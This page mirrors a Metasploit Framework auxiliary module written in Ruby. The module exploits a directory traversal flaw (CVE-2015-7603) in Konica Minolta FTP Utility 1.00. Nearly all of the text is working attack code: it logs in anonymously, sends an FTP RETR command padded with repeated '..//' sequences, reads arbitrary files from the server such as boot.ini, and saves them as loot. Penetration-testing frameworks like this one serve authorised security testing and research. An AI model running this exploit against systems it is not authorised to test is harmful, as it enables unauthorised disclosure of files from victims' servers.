CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Ftp
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure',
14
'Description' => %q{
15
This module exploits a directory traversal vulnerability found in Konica Minolta FTP Utility 1.0.
16
This vulnerability allows an attacker to download arbitrary files from the server by crafting
17
a RETR command that includes file system traversal strings such as '..//'
18
},
19
'Platform' => 'win',
20
'Author' =>
21
[
22
'Jay Turla', # @shipcod3, msf
23
'James Fitts', # msf
24
'Brad Wolfe <brad.wolfe[at]gmail.com>', # msf
25
'shinnai' # initial discovery
26
],
27
'License' => MSF_LICENSE,
28
'References' =>
29
[
30
[ 'EDB', '38260'],
31
[ 'CVE', '2015-7603'],
32
[ 'URL', 'https://shinnai.altervista.org/exploits/SH-0024-20150922.html']
33
],
34
'DisclosureDate' => '2015-09-22'
35
))
36
37
register_options(
38
[
39
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
40
OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])
41
])
42
end
43
44
def check_host(ip)
45
begin
46
connect
47
if /FTP Utility FTP server \(Version 1\.00\)/i === banner
48
return Exploit::CheckCode::Appears
49
end
50
ensure
51
disconnect
52
end
53
54
Exploit::CheckCode::Safe
55
end
56
57
def run_host(target_host)
58
begin
59
# Login anonymously and open the socket that we'll use for data retrieval.
60
connect_login
61
sock = data_connect
62
if sock.nil?
63
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'
64
print_status(error_msg)
65
elog(error_msg)
66
else
67
file_path = datastore['PATH']
68
file = ::File.basename(file_path)
69
70
# make RETR request and store server response message...
71
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
72
res = send_cmd( ["RETR", retr_cmd])
73
74
# read the file data from the socket that we opened
75
# dont assume theres still a sock to read from. Per #7582
76
if sock.nil?
77
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'
78
print_status(error_msg)
79
elog(error_msg)
80
return
81
else
82
# read the file data from the socket that we opened
83
response_data = sock.read(1024)
84
end
85
86
unless response_data
87
print_error("#{file_path} not found")
88
return
89
end
90
91
if response_data.length == 0 or ! (res =~ /^150/ )
92
print_status("File (#{file_path})from #{peer} is empty...")
93
return
94
end
95
96
# store file data to loot
97
loot_file = store_loot("konica.ftp.data", "text", rhost, response_data, file, file_path)
98
vprint_status("Data returned:\n")
99
vprint_line(response_data)
100
print_good("Stored #{file_path} to #{loot_file}")
101
end
102
103
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
104
vprint_error(e.message)
105
elog(e)
106
rescue ::Timeout::Error, ::Errno::EPIPE => e
107
vprint_error(e.message)
108
elog(e)
109
ensure
110
data_disconnect
111
disconnect
112
end
113
end
114
end
115
116